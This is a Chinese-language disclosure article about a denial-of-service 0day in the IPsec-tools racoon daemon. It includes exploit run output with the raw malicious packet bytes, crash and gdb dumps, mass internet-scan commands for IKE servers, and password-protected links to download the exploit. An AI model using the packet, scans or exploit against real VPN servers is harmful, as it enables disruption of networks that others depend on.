IPsec Tools拒絕服務0day漏洞詳細報告(附0day)
IPsec-tools近日曝出拒絕服務0day漏洞,并且互聯網上已經出現利用程序。你可能質疑該漏洞甚至未達到中等漏洞的評級,但請記住IPsec是至關重要的基礎設施,并且這種攻擊只需要兩個小的UDP數據包。如果有打開日志記錄或者用戶經常斷開或重新連接那么就很容易被發現,它可能會創建Intrusion Detection/Prevention (IDP)簽名,更多的是,你可能需要運行一個蜜罐來進行檢測。
如果你有使用IPsec-tools,明智的做法就是盡快替換它。
什么是IPsec
IPsec是一款用于關鍵基礎設施的軟件。它改進IP棧,這樣IP層以下的所有協議都可以進行加密(TCP, UDP等等)。其通常被描述為VPN,同時也是VPN的一部分,但不要搞混淆IPsec到底是做什么的。
IPsec試圖提供的特性:
加密(可選) 身份驗證(可選) 保密性 完整性 可用性?
Demo:附在文末
用法:
python3 repro_racoon_dos129.py Warning: Unable to bind to port 500. Might not work. [Errno 13] Permission denied Umm, okay.129 ('\x81\xcf{r\x8e\xb6a\xdd9\xf1\x87cP\xb1\x05\xc7\x01\x10\x02\x00\x00\x00\x00\x00\x00\x00\x00\x98\r\x00\x00<\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x000\x01\x01\x00\x01\x00\x00\x00(\x01\x01\x00\x00\x80\x0b\x00\x01\x00\x0c\x00\x04\x00\x01Q\x80\x80\x01\x00\x07\x80\x0e\x01\x00\x80\x03\x00\x03\x80\x02\x00\x02\x80\x04\x00\x05\r\x00\x00\x14J\x13\x1c\x81\x07\x03XE\\W(\xf2\x0e\x95E/\r\x00\x00\x14\xaf\xca\xd7\x13h\xa1\xf1\xc9k\x86\x96\xfcwW\x01\x00\x00\x00\x00\x18@H\xb7\xd5n\xbc\xe8\x85%\xe7\xde\x7f\x00\xd6\xc2\xd3\x80\x00\x00\x00', ('192.168.88.247', 500))129 sending second packet Umm, okay.
服務器崩潰:
sudo racoon -F -v -f server_racoon.conf >server_dos5m.txt 2>&1 & jvoss@ipsecu:~$ dmesg |tail [ 584.440533] AVX or AES-NI instructions are not detected. [ 584.442253] AVX or AES-NI instructions are not detected. [ 584.490468] AVX instructions are not detected. [13683.867215] init: upstart-udev-bridge main process (361) terminated with status 1 [13683.867223] init: upstart-udev-bridge main process ended, respawning [13683.867307] init: upstart-file-bridge main process (452) terminated with status 1 [13683.867313] init: upstart-file-bridge main process ended, respawning [13683.867386] init: upstart-socket-bridge main process (616) terminated with status 1 [13683.867392] init: upstart-socket-bridge main process ended, respawning [19912.460170] racoon[3701]: segfault at 100 ip 00007fe0eba84ce7 sp 00007ffff51db730 error 4 in racoon[7fe0eba5e000+93000] 2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-00 2015-04-27 15:22:14: INFO: received broken Microsoft ID: FRAGMENTATION 2015-04-27 15:22:14: INFO: received Vendor ID: DPD 2015-04-27 15:22:14: [169.254.44.43] INFO: Selected NAT-T version: RFC 3947 2015-04-27 15:22:14: [169.254.44.43] ERROR: ignore the packet, received unexpecting payload type 128. 2015-04-27 15:22:14: INFO: respond new phase 1 negotiation: 169.254.88.251[500]<=>169.254.44.43[42258] 2015-04-27 15:22:14: INFO: begin Identity Protection mode. 2015-04-27 15:22:14: INFO: received Vendor ID: RFC 3947 2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-02 2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-02 2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-00 2015-04-27 15:22:14: INFO: received broken Microsoft ID: FRAGMENTATION 2015-04-27 15:22:14: INFO: received Vendor ID: DPD 2015-04-27 15:22:14: [169.254.44.43] INFO: Selected NAT-T version: RFC 3947 Program received signal SIGSEGV, Segmentation fault. 0x000055555557ace7 in ?? () (gdb) bt #0 0x000055555557ace7 in ?? () #1 0x000055555557b775 in ?? () #2 0x000055555556c1a1 in ?? () #3 0x0000555555563fd1 in ?? () #4 0x00005555555658ec in ?? () #5 0x000055555555fc9d in ?? () #6 0x000055555555f273 in ?? () #7 0x00007ffff6953ec5 in __libc_start_main (main=0x55555555f010, argc=5, argv=0x7fffffffe738, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe728) at libc-start.c:287 #8 0x000055555555f3ec in ?? () (gdb) x/15i $rip - 12 0x55555557acdb: mov %eax,0x1c8(%rsp) 0x55555557ace2: mov 0x28(%r12),%rax => 0x55555557ace7: mov 0x100(%rax),%rax 0x55555557acee: mov 0x30(%rax),%rax 0x55555557acf2: test %rax,%rax 0x55555557acf5: je 0x55555557af00 0x55555557acfb: mov (%rax),%rdx 0x55555557acfe: lea 0x20(%rsp),%r13 0x55555557ad03: mov 0x8(%rax),%rax 0x55555557ad07: lea 0x1c(%rsp),%rbx 0x55555557ad0c: lea 0x30(%rsp),%rsi 0x55555557ad11: mov %r13,%rcx 0x55555557ad14: mov %rdx,0x30(%rsp) 0x55555557ad19: mov %rbx,%rdi 0x55555557ad1c: xor %edx,%edx (gdb) i r rax 0x0 0 rbx 0x0 0 rcx 0x5555558dbe40 93824995933760 rdx 0x5555558dbe40 93824995933760 rsi 0x0 0 rdi 0x5555558dbdc0 93824995933632 rbp 0x5555558dbdc0 0x5555558dbdc0 rsp 0x7fffffffd180 0x7fffffffd180 r8 0x5555558dbdc0 93824995933632 r9 0x7ffff6cf07b8 140737334151096 r10 0xbdb00 776960 r11 0x5555558da301 93824995926785 r12 0x5555558da300 93824995926784 r13 0x555555822460 93824995173472 r14 0x5555558da420 93824995927072 r15 0x7fffffffd260 140737488343648 rip 0x55555557ace7 0x55555557ace7 eflags 0x10206 [ PF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0
#p#
不使用IPsec
IPsec有許多易受到攻擊的操作模式,你可以從他的配置中看出來。
不要使用預共享密鑰
不使用防火墻阻止攻擊者橋接你的網絡
不要讓個人或者沒有IT主管的公司橋接你的網絡
不要使用IPsec代替TLS
不要使用IPsec防止0-day
如果你沒有一個能干的IT人,不要運行它
不要購買一個沒有更新的IPsec設備軟件
....
如果NSA想要獲取你的所有數據,那么他們完全有這個能力。
關于漏洞
漏洞位置:
if (iph1->rmconf->proposal->gssid != NULL) {
Fuzzer(漏洞檢查工具)好像錯過了什么,黑客們好像也錯過了什么。如果不是我幸運以及堅持,可能我也會錯過些什么東西。
NetBSD, FreeBSD, Android以及其他許多產品都在使用IPsec tools,我認為這就有必要去尋找發掘漏洞。我檢測Makefile文件,在GSSAPI中Android并沒有進行編譯。
IPsec作者沒有回應我們的多次請求,我們也沒有聯系FreeBSD或NetBSD,因為我們沒有花足夠的時間來檢查kame.net。說實話看著NetBSD就蛋疼,我不會花過多的時間來安裝FreeBSD或NetBSD。我的同事在SourceForge已經發布這個漏洞,而我要做的事情就是充分的披露它。
修復一個漏洞需要多久
如果沒有類似的缺陷,修復一個漏洞大概需要1個小時左右,通知使用者卻需要20小時左右。
我不愿意做這樣的事情,這個問題自然有CVE解決。
實在無力吐槽IPsec-tools,如果你是它的死忠粉請不要來黑我。不介意的話我可以再從其中找個漏洞出來,再次公開!
意義何在
當IKE daemon崩潰,可能會導致重新啟動。一旦重新啟動,就給了攻擊者更多嘗試啟動IKE daemon的機會,結果:未知。如果不重新啟動,密鑰不會改變。當重復4次就會喪失其完整性和機密性,重啟又變得很容易了,結果:潛在妥協。
如果系統判斷這兩個設備不應該再使用IPsec,系統會恢復默認狀態,結果:可能完全妥協。
當加密完全被破環,加密層以下就很容易被攻擊者攻破。
IPsec被設計為運行于公共網絡,中間人攻擊也并非只是理論。中間人攻擊經常用在WIFI,公司網絡(平面拓撲結構),服務器(DMZ/segmented),骨干路由器(ISP)
我并沒有在這里危言聳聽。利用該漏洞,單獨一個人來攻擊公司網絡的可能性十分低(一個人至少需要4個小時的時間來嘗試)。NSA攻破伊朗air-gapped網絡并摧毀其離心機,如果他想獲取你所擁有的東西,使用該漏洞簡直輕而易舉!
關于IPsec設計
IPsec協議過于復雜,缺少x.509的靈活性,TLVs的設計是為了減少緩沖區溢出,開發者混淆不清導致出現許多錯誤。IKE daemon經常被設置為root權限,任何的IP數據包都可以瀏覽IPsec,實現IKE客戶端只用了8個小時,實現IKE服務端只用了8個小時。我們為什么需要靈活性?IPsec的作者應該為他自己感到羞愧,他們的思維依舊還活在90年代 。我們為什么還沒有取代IPsec?Bruce Schneier曾公開譴責IPsec,對于IPsec這已經不是什么新鮮事了,但對于IPsec的使用者來說這絕對不是一件好事情。
誰在使用IPsec-tools
IPsec-tools有一個唯一的響應簽名,你可以寫一個Nmap腳本去檢測。以下測試沒有在FreeBSD和NetBSD上進行進行。
你不需要運行
nmap -sU -Pn -n -vvv -iR 100000 -p 500 -oA nmap_ike1
或者
sudo nmap -sU -sV -O -Pn -n -vvv -iR 100000 -p 500 -oA nmap_ike2
再或者
sudo zmap ike
為了尋找一長串IPsec-tools使用者列表,你不需要進行網絡調查,nmap并不能輕松的使用這個exploit尋找漏洞服務器。
IPsec掃描器
目前有很多的IPsec掃描器在掃描使用IPv4協議的IKE服務器。你認為他們這樣做的目的是什么?一些人僅僅只是進行研究,一些人就是純粹的腳本小子,一些人就是為了進行IP地址欺騙攻擊。據我的推測手握0day的他們正在利用這個漏洞攻擊他們所遇到的所有VPN,從他們發送的數據包就可以看得出來。
數量 IP地址
915 92.156.83.10
413 88.182.227.2
379 222.64.125.46
366 202.153.47.42
156 92.139.69.91
146 195.87.244.8
134 2.12.52.14
132 5.107.86.214
115 93.100.141.178
113 212.57.6.226
102 212.21.46.34
98 41.214.10.33
92 114.35.125.229
90 41.136.2.241
90 41.136.18.209
85 79.165.141.243
79 67.68.122.156
79 46.14.13.125
64 124.148.219.105
60 190.199.39.243
59 203.59.158.2
57 95.29.206.187
56 185.56.161.133
56 154.70.115.98
46 41.136.47.233
45 86.235.41.154
43 212.87.172.4
42 89.157.119.185
41 50.189.102.250
幻燈片地址
[https://www.altsci.com/ipsec/ipsecs2a.html]
IPsec-tools 0-day Exploit
[鏈接:http://pan.baidu.com/s/1o6C9mOU 密碼:tfn4]
sig
[鏈接:http://pan.baidu.com/s/1dDo5bo9 密碼:4iki]